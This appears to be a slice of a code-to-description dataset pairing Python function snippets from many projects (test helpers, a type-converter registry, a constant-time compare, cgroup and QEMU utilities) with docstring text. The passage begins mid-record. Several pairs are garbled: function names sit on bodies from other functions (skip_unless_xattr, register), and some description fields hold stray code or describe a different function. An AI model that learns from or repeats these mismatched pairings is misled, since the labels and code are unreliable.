20},\n {'_id': 'julia021', 'name': 'julia', 'age': 21}]\n for result in results:\n self.assertEqual(result[:2], expected)\n self.assertEqual(result[:4], expected)\n", "nl": "Test getting an index slice by using a start slice value whenthe skip and limit parameters are also used. QueryResult skip/limitparameters take precedence over Query skip/limit parameters."} {"code": "def test_foo(self):\n self.ran = True\n 1/0\n\n", "nl": "Set C{self.ran} to True and raise a C{ZeroDivisionError}"} {"code": "def get_shutit_pexpect_sessions():\n\tsessions = []\n\tfor shutit_object in shutit_global_object.shutit_objects:\n\t\tfor key in shutit_object.shutit_pexpect_sessions:\n\t\t\tsessions.append(shutit_object.shutit_pexpect_sessions[key])\n\treturn sessions\n\nshutit_global_object = ShutItGlobal()\n\nfrom shutit_class import ShutIt, ShutItInit\nimport shutit_util\n", "nl": "Returns all the shutit_pexpect_sessions in existence."} {"code": "def skip_unless_xattr(test):\n import ctypes\n k32 = ctypes.windll.kernel32\n SEM_NOGPFAULTERRORBOX = 0x02\n old_error_mode = k32.SetErrorMode(SEM_NOGPFAULTERRORBOX)\n k32.SetErrorMode(old_error_mode | SEM_NOGPFAULTERRORBOX)\n try:\n yield\n finally:\n k32.SetErrorMode(old_error_mode)\nelse:\n @contextlib.contextmanager", "nl": "Skip decorator for tests that require functional extended attributesok = can_xattr()msg = \"no non-broken extended attribute support\"return test if ok else unittest.skip(msg)(test)if sys.platform.startswith('win'):@contextlib.contextmanagerdef suppress_crash_popup():Disable Windows Error Reporting dialogs using SetErrorMode."} {"code": "def register(cls: Union[type, str], converter: type):\n if name:\n log.debug(f\"Mapping {name!r} of {cls!r} to converter\")\n else:\n log.debug(f\"Mapping {cls!r} to converter\")\n\n if cls in _REGISTRY:\n converter: Any = _REGISTRY[cls]\n log.debug(f\"Mapped {cls!r} to existing converter: {converter}\")\n return converter\n\n if dataclasses.is_dataclass(cls):\n converters = {}\n for field in dataclasses.fields(cls):\n converters[field.name] = map_type(resolve(field.type), name=field.name)\n converter = Dataclass.of_mappings(cls, converters)\n log.debug(f\"Mapped {cls!r} to new converter: {converter}\")\n return converter\n\n if hasattr(types, \"UnionType\") and isinstance(cls, types.UnionType):\n converter = map_type(cls.__args__[0])\n assert len(cls.__args__) == 2\n assert cls.__args__[1] == type(None)\n converter = converter.as_optional()\n return converter\n\n cls = resolve(cls)\n\n if hasattr(cls, \"__origin__\"):\n converter = None\n\n if cls.__origin__ == list:\n try:\n converter = map_type(item_cls or cls.__args__[0])\n except TypeError as e:\n assert \"~T\" in str(e), f\"Unhandled error: {e}\"\n raise TypeError(\"Type is required with 'List' annotation\") from None\n except AttributeError as e:\n assert \"__args__\" in str(e), f\"Unhandled error: {e}\"\n raise TypeError(\"Type is required with 'List' annotation\") from None\n else:\n converter = List.of_type(converter)\n\n elif cls.__origin__ == set:\n try:\n converter = map_type(item_cls or cls.__args__[0])\n except TypeError as e:\n assert \"~T\" in str(e), f\"Unhandled error: {e}\"\n raise TypeError(\"Type is required with 'Set' annotation\") from None\n except AttributeError as e:\n assert \"__args__\" in str(e), f\"Unhandled error: {e}\"\n raise TypeError(\"Type is required with 'Set' annotation\") from None\n else:\n converter = Set.of_type(converter)\n\n elif isclass(cls.__origin__) and issubclass(cls.__origin__, Mapping):\n if item_cls:\n key = map_type(str)\n value = map_type(item_cls)\n else:\n log.warn(\"Schema enforcement not possible with 'Dict' annotation\")\n try:\n key = map_type(cls.__args__[0])\n value = map_type(cls.__args__[1])\n except TypeError as e:\n assert \"~\" in str(e), f\"Unhandled error: {e}\"\n raise TypeError(\n \"Types are required with 'Dict' annotation\"\n ) from None\n except AttributeError as e:\n assert \"__args__\" in str(e), f\"Unhandled error: {e}\"\n raise TypeError(\n \"Types are required with 'Dict' annotation\"\n ) from None\n\n converter = Dictionary.of_mapping(key, value)\n\n elif cls.__origin__ == Union:\n if str in cls.__args__:\n converter = map_type(str)\n if type(None) in cls.__args__:\n converter = converter.as_optional()\n elif cls.__args__ == (int, float) or cls.__args__ == (float, int):\n converter = Number\n else:\n assert len(cls.__args__) == 2\n assert cls.__args__[1] == type(None)\n converter = map_type(cls.__args__[0]).as_optional()\n\n elif issubclass(cls.__origin__, Converter):\n subtypes = [map_type(t) for t in cls.__args__]\n converter = cls.__origin__.as_generic(subtypes)\n\n if converter:\n log.debug(f\"Mapped {cls!r} to new converter: {converter}\")\n return converter\n\n raise TypeError(f\"Unsupported container type: {cls.__origin__}\")\n\n if isinstance(cls, str):\n log.debug(f\"Searching for class matching {cls!r} annotation\")\n for cls2 in subclasses(Converter):\n if cls2.__name__ == cls:\n register(cls, cls2)\n log.debug(f\"Registered {cls2} as new converter\")\n return cls2\n\n if not isclass(cls):\n raise TypeError(f\"Annotation is not a type: {cls!r}\")\n\n if issubclass(cls, Converter):\n log.debug(f\"Mapped {cls!r} to existing converter (itself)\")\n return cls\n\n if issubclass(cls, Enum):\n return Enumeration.of_type(cls)\n\n if issubclass(cls, dict):\n log.warn(\"Schema enforcement not possible with 'TypedDict' annotation\")\n key = map_type(str)\n value = Any\n return Dictionary.of_mapping(key, value)\n\n raise TypeError(f\"Could not map type: {cls}\")", "nl": "Associate the given type signature with a converter class._REGISTRY[cls] = converterif not isinstance(cls, str):_REGISTRY[cls.__name__] = converterregister(Integer.TYPE, Integer)register(Float.TYPE, Float)register(ScalarFloat, Float)register(Boolean.TYPE, Boolean)register(String.TYPE, String)register(DoubleQuotedScalarString, String)register(CommentedMap, Dictionary)register(list, List)register(dict, Dictionary)def resolve(annotation, obj=None):if isinstance(annotation, str):log.debug(f\"Attempting to eval {annotation!r} using {obj}\")annotation = annotation.replace(\"List\", \"list\").replace(\"Dict\", \"list\")namespace = inspect.getmodule(obj).__dict__ if obj else Nonetry:return eval(annotation, namespace) # pylint: disable=eval-usedexcept NameError as e:log.warn(f\"Unable to eval: {e}\")return annotation@cacheddef map_type(cls, *, name: str = \"\", item_cls: Optional[type] = None):Infer the converter type from a dataclass, type, or annotation."} {"code": "def compareString(src_ctx, bin_ctx):\n score = 0\n try:\n score += STRING_NAME_SCORE * len(list(filter(lambda s: s in src_ctx.name, bin_ctx.strings)))\n except UnicodeDecodeError:\n pass\n for string in src_ctx.strings & bin_ctx.strings:\n score += len(string) * STRING_MATCH_SCORE\n if string in src_ctx.name:\n score += STRING_NAME_SCORE\n for string in src_ctx.strings.symmetric_difference(bin_ctx.strings):\n score -= len(string) * STRING_MISMATCH_SCORE\n if len(src_ctx.strings) > 0 and src_ctx.strings == bin_ctx.strings:\n score += ARTIFACT_MATCH_SCORE\n return score\n\n @staticmethod", "nl": "Compare the strings of both contexts and returns the matching score.Args:src_ctx (ComparableContext): context representing the source functionbin_ctx (ComparableContext): context representing the binary functionReturn valuefloating point score for the strings comparison"} {"code": "def defaults(key: str):\n\n if hasattr(settings, key):\n val = getattr(settings, key)\n else:\n val = hash.get(key)\n return val", "nl": "Try to get a setting from project settings.If empty or doesn't exist, fall back to a value from defaults hash."} {"code": "def test_next(self):\n\n parser = FTParser(datapath)\n tag, data = next(parser)\n\n self.assertEqual(tag, 'FI')\n", "nl": "``next`` should return the first line of data."} {"code": "def secure_compare(a1, a2):\n _check(isinstance(a1, type(a2)))\n\n if len(a1) != len(a2):\n return False\n\n x = _C.CRYPTO_memcmp(a1, a2, len(a1))\n if int(x) == 0:\n return True\n\n return False\n\n\nclass Hmac(object):\n \"\"\"Initialize the HMAC by name with a key.\n", "nl": "A constant-time comparison function. Returns True if the two strings are equal and False otherwise.Args:a1 (str): the first stringa2 (str): the second stringReturns:bool: whether the two stings are equal."} {"code": "def task_manager(self) -> TaskManager:", "nl": "Get behaviours of the skill.if self._skill is None:raise ValueError(\"Skill not initialized.\")return self._get_agent_context().task_manager@propertydef default_ledger_id(self) -> str:Get the default ledger id."} {"code": "def end_of_component_uses_oecBound_test(self):\n cursor = self.prepare()\n\n cursor.execute(\"\"\"\n\n for is_upgraded, cursor in self.do_upgrade(cursor):\n debug(\"Querying {} node\".format(\"upgraded\" if is_upgraded else \"old\"))\n cursor.execute(\"TRUNCATE test\")\n\n cursor.execute(\"INSERT INTO test (a, b, c, d) VALUES (1, 2, 3, 3)\")\n cursor.execute(\"INSERT INTO test (a, b, c, d) VALUES (1, 4, 6, 5)\")\n\n assert_one(cursor, \"SELECT * FROM test WHERE a=1 AND b=2 ORDER BY b DESC\", [1, 2, 3, 3])\n", "nl": "Test that eocBound is always used when deciding which end-of-component to set@jira_ticket CASSANDRA-7105"} {"code": "def CalculateSlices(self, maxWidth, columnWidths):\n firstColumn = 0\n\n if hasattr(self.olv, \"useExpansionColumn\") and self.olv.useExpansionColumn:\n firstColumn = 1\n\n if self.engine.isShrinkToFit or (sum(columnWidths)) <= maxWidth:\n return [ [firstColumn, len(columnWidths)-1] ]\n\n pairs = list()\n left = firstColumn\n right = firstColumn\n while right < len(columnWidths):\n if (sum(columnWidths[left:right+1])) > maxWidth:\n if left == right:\n pairs.append([left, right])\n left += 1\n right += 1\n else:\n pairs.append([left, right-1])\n left = right\n else:\n right += 1\n\n if left < len(columnWidths):\n pairs.append([left, right-1])\n\n return pairs\n\n\n\nclass ListHeaderBlock(TextBlock):\n \"\"\"\n", "nl": "Return a list of integer pairs, where each pair representsthe left and right columns that can fit into the width of one page"} {"code": "def dictConfig(config):\n Start up a socket server on the specified port, and listen for new\n configurations.\n\n These will be sent as a file suitable for processing by fileConfig().\n Returns a Thread object on which you can call start() to start the server,\n and which you can join() when appropriate. To stop the server, call\n stopListening().\n \"\"\"\n Handler for a logging configuration request.\n\n It expects a completely new logging configuration and uses fileConfig\n to install it.\n \"\"\"", "nl": "Configure logging using a dictionary.dictConfigClass(config).configure()def listen(port=DEFAULT_LOGGING_CONFIG_PORT):"} {"code": "def clock() -> float:\n return time.perf_counter()\n\nfrom types import TracebackType\n\nclass Timer:", "nl": "Return the number of fractional seconds elapsed since some point of reference."} {"code": "def rebalance(self):\n sort_array = sorted(self.priority_heap.values(), key=lambda x: x[1], reverse=True)\n self.priority_heap.clear()\n self.buffer2heap.clear()\n\n count = 1\n while count <= self._capacity:\n self.__update_heap(count, sort_array[count - 1])\n count += 1\n\n for i in range(self._capacity // 2, 1, -1):\n self.down_heap(i)\n", "nl": "rebalance priority_heap"} {"code": "def bisect_left(a, x, lo=0, hi=None):\n if lo < 0:\n raise ValueError('lo must be non-negative')\n if hi is None:\n hi = len(a)\n while lo < hi:\n mid = (lo + hi) // 2\n if a[mid] < x:\n lo = mid + 1\n else:\n hi = mid\n\n return lo\n\n\ntry:\n from _bisect import *\nexcept ImportError:\n pass", "nl": "Return the index where to insert item x in list a, assuming a is sorted.The return value i is such that all e in a[:i] have e < x, and all e ina[i:] have e >= x. So if x already appears in the list, a.insert(x) willinsert just before the leftmost x already there.Optional args lo (default 0) and hi (default len(a)) bound theslice of a to be searched."} {"code": "def start_ksm(self, pages_to_scan=None, sleep_ms=None):\n if not self.is_ksm_running():\n feature_args = {'run': 1}\n if self.interface == \"ksmctl\":\n if pages_to_scan is None:\n pages_to_scan = 5000\n if sleep_ms is None:\n sleep_ms = 50\n feature_args[\"pages_to_scan\"] = pages_to_scan\n feature_args[\"sleep_millisecs\"] = sleep_ms\n self.set_ksm_feature(feature_args)\n", "nl": "Start ksm function."} {"code": "def fix_tract(tract_number):\n this_year = datetime.datetime.now().year\n return this_year, this_year - 1\n", "nl": "Makes a tract number a string of length six with leading zeroes.if not tract_number or np.isnan(tract_number):return '99999'tract_number = str(int(tract_number))return tract_number.zfill(6)def just_digits(column):column = column.astype(str)return column.apply(lambda s: re.sub('[^0-9]', '', s).strip())def get_years():Returns this year and last year as integers."} {"code": "def _slice(self, x, num_anchors, num_offsets):\n `Dynamic` indicate that the targets generated depend on current network.\n `Simple` indicate that it only support `pos_iou_thresh` >= 1.0,\n otherwise it's a lot more complicated and slower.\n (box regression targets and class targets are not necessary when `pos_iou_thresh` >= 1.0)\n\n Parameters\n ----------\n num_class : int\n Number of foreground classes.\n ignore_iou_thresh : float\n Anchors that has IOU in `range(ignore_iou_thresh, pos_iou_thresh)` don't get\n penalized of objectness score.\n\n \"\"\"", "nl": "since some stages won't see partial anchors, so we have to slice the correct targets# x with shape (B, N, A, 1 or 2)anchors = [0] + num_anchors.tolist()offsets = [0] + num_offsets.tolist()ret = []for i in range(len(num_anchors)):y = x[:, offsets[i]:offsets[i + 1], anchors[i]:anchors[i + 1], :]ret.append(y.reshape((0, -3, -1)))return nd.concat(*ret, dim=1)class YOLOV3DynamicTargetGeneratorSimple(gluon.HybridBlock):YOLOV3 target generator that requires network predictions."} {"code": "def wk_radio(self, selector):\n if not isinstance(selector, list):\n selector = [selector]\n for s in selector:\n element = self.webframe.findFirstElement(s)\n element.evaluateJavaScript('this.checked = true;')\n", "nl": "Choose a option in a select using WebKit API.@param selector: list of css selector or css selector to get the select item."} {"code": "def rename(self, target):\n out = self._authsvn('lock').strip()\n if not out:\n raise ValueError(\"unknown error in svn lock command\")\n", "nl": " rename this path to target. py.process.cmdexec(\"svn move --force %s %s\" %(str(self), str(target)))def lock(self): set a lock (exclusive) on the resource "} {"code": "def __call__(self, embedding_input: Array):\n return jnp.asarray(self.embedding[embedding_input], dtype=self.dtype)\n\n\nclass DictEmbed(nn.Module):\n \"\"\"Adds up embeddings from dictionary of embedding tables.\n embedders: Dict[str, Embed]\n", "nl": "Embeds the inputs along the last dimension.Args:embedding_input: [..., embedding_dim] integer array of embedding indices.Returns:Embedded inputs, with embedding dimension appended and cast to dtype."} {"code": "def get_qemu_binary(params):\n qemu_binary_path = get_path(_get_backend_dir(params),\n params.get(\"qemu_binary\", \"qemu\"))\n\n if not os.path.isfile(qemu_binary_path):\n LOG.debug('Could not find params qemu in %s, searching the '\n 'host PATH for one to use', qemu_binary_path)\n QEMU_BIN_NAMES = ['qemu-kvm', 'qemu-system-%s' % (ARCH),\n 'qemu-system-ppc64', 'qemu-system-x86',\n 'qemu_system', 'kvm']\n for qemu_bin in QEMU_BIN_NAMES:\n try:\n qemu_binary = utils_path.find_command(qemu_bin)\n LOG.debug('Found %s', qemu_binary)\n break\n except utils_path.CmdNotFoundError:\n continue\n else:\n raise exceptions.TestError(\"qemu binary names %s not found in \"\n \"system\" % ' '.join(QEMU_BIN_NAMES))\n else:\n library_path = os.path.join(\n _get_backend_dir(params), 'install_root', 'lib')\n if check_isdir(library_path):\n library_path = os.path.abspath(library_path)\n qemu_binary = (\"LD_LIBRARY_PATH=%s %s\" %\n (library_path, qemu_binary_path))\n else:\n qemu_binary = qemu_binary_path\n\n return qemu_binary\n\n", "nl": "Get the path to the qemu binary currently in use."} {"code": "def json(self):\n output = Id.json(self)\n output.update(Schedule.json(self))\n return output\n", "nl": "JSON representation of UTF8Id"} {"code": "def test_prepend_slicing(self):\n seq = list(range(20))\n p = mi.peekable(seq)\n\n p.prepend(30, 40, 50)\n\n self.assertEqual(p[0], 30)\n self.assertEqual(next(p), 30)\n self.assertEqual(p[2], 0)\n self.assertEqual(next(p), 40)\n self.assertEqual(p[0], 50)\n self.assertEqual(p[9], 8)\n self.assertEqual(next(p), 50)\n self.assertEqual(p[8], 8)\n self.assertEqual(p[-2], 18)\n self.assertEqual(p[-9], 11)\n self.assertRaises(IndexError, lambda: p[-21])\n", "nl": "Tests interaction between prepending and slicingseq = list(range(20))p = mi.peekable(seq)p.prepend(30, 40, 50)pseq = [30, 40, 50] + seq # pseq for prepended_seq# adapt the specific tests from test_slicingself.assertEqual(p[0], 30)self.assertEqual(p[1:8], pseq[1:8])self.assertEqual(p[1:], pseq[1:])self.assertEqual(p[:5], pseq[:5])self.assertEqual(p[:], pseq[:])self.assertEqual(p[:100], pseq[:100])self.assertEqual(p[::2], pseq[::2])self.assertEqual(p[::-1], pseq[::-1])def test_prepend_indexing(self):Tests interaction between prepending and indexing"} {"code": "def predicate_emoji_reaction(ctx: Context, reaction: Reaction, user: User) -> bool:\n await bot.add_cog(Snekbox(bot))", "nl": "Return True if the reaction REDO_EMOJI was added by the context message author on this message.return reaction.message.id == ctx.message.id and user.id == ctx.author.id and str(reaction) == REDO_EMOJIasync def setup(bot: Bot) -> None:Load the Snekbox cog."} {"code": "def checkpoint_items(self) -> Dict[str, Any]:\n return self._backbone\n", "nl": "Returns a dictionary of items to be additionally checkpointed.return dict(backbone=self.backbone)@propertydef backbone(self) -> tf.keras.Model:Returns the backbone of the model."} {"code": "def session(self) -> Optional[\"ClientSession\"]:\n if self.__explicit_session:\n return self.__session\n return None\n", "nl": "The cursor's :class:`~pymongo.client_session.ClientSession`, or None... versionadded:: 3.6"} {"code": "def test_warns_google_redundant_return_doc(self):\n\n Returns:\n One\n \"\"\"\n with self.assertAddsMessages(\n Message(msg_id='redundant-returns-doc', node=node)):", "nl": "node = astroid.extract_node(def my_func(self):This is a docstring."} {"code": "def decoder_fuzz(reg: str, file_path: str, replace_func=replace_params):\n if types == \"html\":\n return \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\"\n elif types == \"json\":\n return \"application/json, text/javascript, */*; q=0.01\"\n elif types == \"xhr\":\n return \"application/json, text/plain, */*\"\n return \"*/*\"\n\n", "nl": " simple decoder of fuzz file file_dir, file_name = os.path.split(file_path)origin_str = read_file(file_path, mode=1)origin_str = codecs.unicode_escape_decode(origin_str)[0]origin_str = replace_func(origin_str, reg)name1, name2 = file_name.split(\".\", 1)output_path = f\"{file_dir}/{name1}_decoder.{name2}\"echo(1,\"decoder fuzz file {} -> {}, total {} line.\".format(file_name, output_path, origin_str.count(\"\\n\")),)with open(output_path, \"w\") as f:f.write(origin_str)def get_accept(types: str) -> str: @param: types => html, json, xhr "} {"code": "def test_condition_from_uri_to_serialize_binary(self, basic_ed25519):\n from cryptoconditions import Condition\n condition = Condition.from_uri(basic_ed25519.condition_uri)\n generated_condition_binary = condition.serialize_binary()\n assert generated_condition_binary == basic_ed25519.condition_binary\n", "nl": "1. Parse condition_uri.2. serialize as binary.3. should match condition_binary."} {"code": "def make_resource(self, data, **kwargs):\n adapted_data = copy.deepcopy(data)\n if adapted_data.scheduler == \"awsbatch\":\n scheduler_prefix = \"aws_batch\"\n elif adapted_data.scheduler == \"plugin\":\n scheduler_prefix = \"scheduler\"\n else:\n scheduler_prefix = adapted_data.scheduler\n setattr(adapted_data, f\"{scheduler_prefix}_queues\", copy.copy(getattr(adapted_data, \"queues\", None)))\n setattr(adapted_data, f\"{scheduler_prefix}_settings\", copy.copy(getattr(adapted_data, \"settings\", None)))\n return adapted_data\n\n\nclass DirectoryServiceSchema(BaseSchema):\n \"\"\"Represent the schema of the DirectoryService.\"\"\"", "nl": "Generate the right type of scheduling according to the child type (Slurm vs AwsBatch vs Custom).scheduler = data.get(\"scheduler\")if scheduler == \"slurm\":return SlurmScheduling(queues=data.get(\"slurm_queues\"), settings=data.get(\"slurm_settings\", None))if scheduler == \"plugin\":return SchedulerPluginScheduling(queues=data.get(\"scheduler_queues\"), settings=data.get(\"scheduler_settings\", None))if scheduler == \"awsbatch\":return AwsBatchScheduling(queues=data.get(\"aws_batch_queues\"), settings=data.get(\"aws_batch_settings\", None))return None@pre_dumpdef restore_child(self, data, **kwargs):Restore back the child in the schema, see post_load action."} {"code": "def test_gpualloc():\n\n x = theano.shared(numpy.ones(3, dtype='float32'), 'x')\n m = (x).dimshuffle(['x', 0])\n v = tensor.alloc(1., *m.shape)\n f = theano.function([], v + x,\n mode=mode_with_gpu.excluding(\"local_elemwise_alloc\"))\n l = f.maker.fgraph.toposort()\n assert numpy.any([isinstance(x.op, cuda.GpuAlloc) for x in l])\n\n", "nl": "This tests tries to catch the scenario when, due to infer_shape,the input of the alloc changes from tensor scalar to a constant1. In this case the original constracted broadcastable pattern willhave a False for that dimension, but the new broadcastable patternthat will be inserted by gpualloc will have a True since it knows thedimension is 1 and therefore broadcastable."} {"code": "def setUp(self):\n self.core = MimicCore(Clock(), [])\n self.root = MimicRoot(self.core).app.resource()\n self.uri = \"/glance/v2/images\"\n self.create_request = {\"name\": \"OnMetal - MIMIC\", \"distro\": \"linux\"}\n", "nl": "Initialize core and root"} {"code": "def test_default_day_field_matches_all_numeral_values(day_field_valid_numeral):\n assert field.day(field.DEFAULT_VALUE).matches(day_field_valid_numeral)\n\n", "nl": "Assert that the \"day\" field with the default value matches all numeral values withinbounds inclusively."} {"code": "def get_header_crc(header):\n new_header = header[:4]\n new_header += header[8:12]\n new_header += header[4:8]\n new_header += '\\x00\\x00' + header[12:14]\n new_header += header[14:]\n return binascii.crc32(new_header)\n\n path = node.get_path()\n cl_dir = os.path.join(path, 'commitlogs')\n self.assertTrue(len(os.listdir(cl_dir)) > 0)\n for cl in os.listdir(cl_dir):\n with open(os.path.join(cl_dir, cl), 'r') as f:\n f.seek(0)\n crc_pos = 12\n f.seek(crc_pos)\n psize = struct.unpack('>h', f.read(2))[0] & 0xFFFF\n crc_pos += 2 + psize\n\n header_length = crc_pos\n f.seek(crc_pos)\n crc = struct.unpack('>i', f.read(4))[0]\n\n f.seek(0)\n header_bytes = f.read(header_length)\n self.assertEqual(get_header_crc(header_bytes), crc)\n\n self.assertIn('LZ4Compressor', header_bytes)\n header_bytes = header_bytes.replace('LZ4Compressor', 'LZ5Compressor')\n self.assertNotIn('LZ4Compressor', header_bytes)\n self.assertIn('LZ5Compressor', header_bytes)\n with open(os.path.join(cl_dir, cl), 'w') as f:\n f.seek(0)\n f.write(header_bytes)\n f.seek(crc_pos)\n f.write(struct.pack('>i', get_header_crc(header_bytes)))\n\n with open(os.path.join(cl_dir, cl), 'r') as f:\n f.seek(0)\n self.assertEqual(f.read(header_length), header_bytes)\n f.seek(crc_pos)\n crc = struct.unpack('>i', f.read(4))[0]\n self.assertEqual(crc, get_header_crc(header_bytes))\n\n mark = node.mark_log()\n node.start()\n node.watch_log_for(expected_error, from_mark=mark)\n with self.assertRaises(TimeoutError):\n node.wait_for_binary_interface(from_mark=mark, timeout=20)", "nl": "When calculating the header crc, C* splits up the 8b id, first adding the 4 least significantbytes to the crc, then the 5 most significant bytes, so this splits them and calculates the same way"} {"code": "def copy_trainables_from(self, src_net: \"Network\") -> None:\n if new_name is None:\n new_name = self.name\n static_kwargs = dict(self.static_kwargs)\n static_kwargs.update(new_static_kwargs)\n net = Network(name=new_name, func_name=new_func_name, **static_kwargs)\n net.copy_vars_from(self)\n return net\n", "nl": "Copy the values of all trainable variables from the given network, including sub-networks.names = [name for name in self.trainables.keys() if name in src_net.trainables]tfutil.set_vars(tfutil.run({self.vars[name]: src_net.vars[name] for name in names}))def convert(self, new_func_name: str, new_name: str = None, **new_static_kwargs) -> \"Network\":Create new network with the given parameters, and copy all variables from this network."} {"code": "def parse_content_type(content_type):\n", "nl": "Separates out the parameters from the content_type and returns both in a tuple (content_type, parameters)if content_type is not None and \";\" in content_type:return parse_header(content_type)return (content_type, empty.dict)def content_type(content_type):Attaches the supplied content_type to a Hug formatting function"} {"code": "def _linkClicked(self, theLink):\n logger.verbose(\"Clicked link: '%s'\", theLink)\n if len(theLink) == 21:\n tHandle = theLink[:13]\n tAnchor = theLink[13:]\n self.mainGui.viewDocument(tHandle, tAnchor)\n return\n", "nl": "Capture the link-click and forward it to the document viewerclass for handling."} {"code": "def siso_split_combine(fn, combine_fn, h_num_splits, scope=None, name=None):\n", "nl": "Substitution module that create a number of parallel single-inputsingle-output search spaces by calling the first function, and then combinesall outputs with a multiple-input single-output search space returned by thesecond function.The second function returns a search space to combine the outputs of thebranch search spaces. The hyperparameter captures how many branches to create.The resulting search space has a single input and a single output... note::It is assumed that the inputs and outputs of both the branch searchspaces and the reduce search spaces are named in a specific way.Args:fn (() -> (dict[str,deep_architect.core.Input], dict[str,deep_architect.core.Output])):Substitution function that return a single input and single outputsearch space encoded by dictionaries of inputs and outputs.combine_fn ((int) -> (dict[str,deep_architect.core.Input], dict[str,deep_architect.core.Output])):Returns a search space with a number of inputs equal to the number ofof branches and combines them into a single output.h_num_splits (deep_architect.core.Hyperparameter): Hyperparameter for thenumber of parallel search spaces generated with the first function.scope (deep_architect.core.Scope, optional): Scope in which the module will beregistered. If none is given, uses the default scope.name (str, optional): Name used to derive an unique name for themodule. If none is given, uses the class name to derive the name.Returns:(dict[str,deep_architect.core.Input], dict[str,deep_architect.core.Output]):Tuple with dictionaries with the inputs and outputs of theresulting search space graph."} {"code": "def setOrientation(self, orientation):\n old = self.orientation()\n if old != orientation:\n super(QCustomSplitter, self).setOrientation(orientation)\n if sys.platform == 'win32':\n for idx in range(self.count()):\n handle = self.handle(idx)\n handle.updateFrame()\n", "nl": " Set the orientation of the splitter.This overridden method will call the `updateFrame` method of thesplitter handles when running on win32 platforms. On any otherplatform, this method simply calls the superclass method."} {"code": "def test_read_mounted_cgroups(self):\n\n fs_linux.list_mounts.return_value = [\n fs_linux.MountEntry(\n mount_id=24, parent_id=17,\n source='tmpfs', target='/sys/fs/cgroup',\n fs_type='tmpfs',\n mnt_opts={\n 'mode=755',\n 'nodev',\n 'noexec',\n 'nosuid',\n 'ro',\n }\n ),\n fs_linux.MountEntry(\n mount_id=24, parent_id=17,\n source='cgroup', target='/sys/fs/cgroup/devices',\n fs_type='cgroup',\n mnt_opts={\n 'clone_children',\n 'noexec',\n 'relatime',\n 'rw',\n 'nosuid',\n 'devices',\n 'nodev',\n }\n ),\n fs_linux.MountEntry(\n mount_id=24, parent_id=17,\n source='cgroup', target='/sys/fs/cgroup/memory',\n fs_type='cgroup',\n mnt_opts={\n 'clone_children',\n 'noexec',\n 'relatime',\n 'rw',\n 'nosuid',\n 'memory',\n 'nodev',\n }\n ),\n fs_linux.MountEntry(\n mount_id=24, parent_id=17,\n source='cgroup', target='/sys/fs/cgroup/blkio',\n fs_type='cgroup',\n mnt_opts={\n 'clone_children',\n 'blkio',\n 'noexec',\n 'relatime',\n 'rw',\n 'nosuid',\n 'nodev',\n }\n ),\n fs_linux.MountEntry(\n mount_id=24, parent_id=17,\n source='cgroup', target='/sys/fs/cgroup/net_cls,net_prio',\n fs_type='cgroup',\n mnt_opts={\n 'clone_children',\n 'noexec',\n 'relatime',\n 'net_cls',\n 'rw',\n 'nosuid',\n 'nodev',\n 'net_prio',\n }\n ),\n fs_linux.MountEntry(\n mount_id=24, parent_id=17,\n source='cgroup', target='/sys/fs/cgroup/pids',\n fs_type='cgroup',\n mnt_opts={\n 'pids',\n 'clone_children',\n 'noexec',\n 'relatime',\n 'rw',\n 'nosuid',\n 'nodev',\n }\n ),\n fs_linux.MountEntry(\n mount_id=24, parent_id=17,\n source='cgroup', target='/sys/fs/cgroup/hugetlb',\n fs_type='cgroup',\n mnt_opts={\n 'hugetlb',\n 'clone_children',\n 'noexec',\n 'relatime',\n 'rw',\n 'nosuid',\n 'nodev',\n }\n ),\n fs_linux.MountEntry(\n mount_id=24, parent_id=17,\n source='cgroup', target='/sys/fs/cgroup/freezer',\n fs_type='cgroup',\n mnt_opts={\n 'clone_children',\n 'freezer',\n 'noexec',\n 'relatime',\n 'rw',\n 'nosuid',\n 'nodev',\n }\n ),\n fs_linux.MountEntry(\n mount_id=24, parent_id=17,\n source='cgroup', target='/sys/fs/cgroup/cpu,cpuacct',\n fs_type='cgroup',\n mnt_opts={\n 'clone_children',\n 'noexec',\n 'relatime',\n 'cpuacct',\n 'cpu',\n 'rw',\n 'nosuid',\n 'nodev',\n }\n ),\n fs_linux.MountEntry(\n mount_id=24, parent_id=17,\n source='cgroup', target='/sys/fs/cgroup/perf_event',\n fs_type='cgroup',\n mnt_opts={\n 'clone_children',\n 'noexec',\n 'relatime',\n 'rw',\n 'perf_event',\n 'nosuid',\n 'nodev',\n }\n ),\n fs_linux.MountEntry(\n mount_id=24, parent_id=17,\n source='cgroup', target='/sys/fs/cgroup/cpuset',\n fs_type='cgroup',\n mnt_opts={\n 'clone_children',\n 'cpuset',\n 'noexec',\n 'relatime',\n 'rw',\n 'nosuid',\n 'nodev',\n }\n ),\n ]\n\n subsystems2mounts = cgroups.read_mounted_cgroups()\n self.assertEqual(\n subsystems2mounts,\n {\n 'blkio': ['/sys/fs/cgroup/blkio'],\n 'cpu': ['/sys/fs/cgroup/cpu,cpuacct'],\n 'cpuacct': ['/sys/fs/cgroup/cpu,cpuacct'],\n 'cpuset': ['/sys/fs/cgroup/cpuset'],\n 'memory': ['/sys/fs/cgroup/memory'],\n }\n )\n\n @mock.patch('io.open', mock.mock_open(read_data=_PROC_CGROUP.strip()))", "nl": "Test get mounted point."} {"code": "def length(self):\n return float(spsd.euclidean(self.end_points[0], self.end_points[1]))\n", "nl": "**SUMMARY**This method returns the length of the line.**RETURNS**A floating point length value.**EXAMPLE**>>> img = Image(\"OWS.jpg\")>>> lines = img.findLines>>> for l in lines:>>> if l.length() > 100:>>> print \"OH MY! - WHAT A BIG LINE YOU HAVE!\">>> print \"---I bet you say that to all the lines.\""} {"code": "def update_fields(self):\n self._sc_length.SetValue(config.pwlength)\n self._tc_alphabet.SetValue(config.alphabet)\n self._tc_avoid_bigrams.SetValue(config.avoid_bigrams)\n self._search_notes.SetValue(config.search_notes)\n self._search_passwd.SetValue(config.search_passwd)\n", "nl": "Update fields from source"} {"code": "def set_mutation_scale(self, scale):\n self._mutation_scale = scale\n self.stale = True\n", "nl": "Set the mutation scale.Parameters----------scale : scalar"} {"code": "def save(self, object_definition, message):", "nl": " Commits object_definition.get_filename() if it has any changes.This function is called by :py:class:`pynag.Model.EventHandlers`Args:object_definition (pynag.Model.ObjectDefinition): object to commit changesmessage (str): git commit message as specified in ``git commit -m``"} {"code": "def arc(self, x1,y1, x2,y2, startAng=0, extent=90):\n\n self._curves(pdfgeom.bezierArc(x1,y1, x2,y2, startAng, extent))\n", "nl": "Contributed to piddlePDF by Robert Kern, 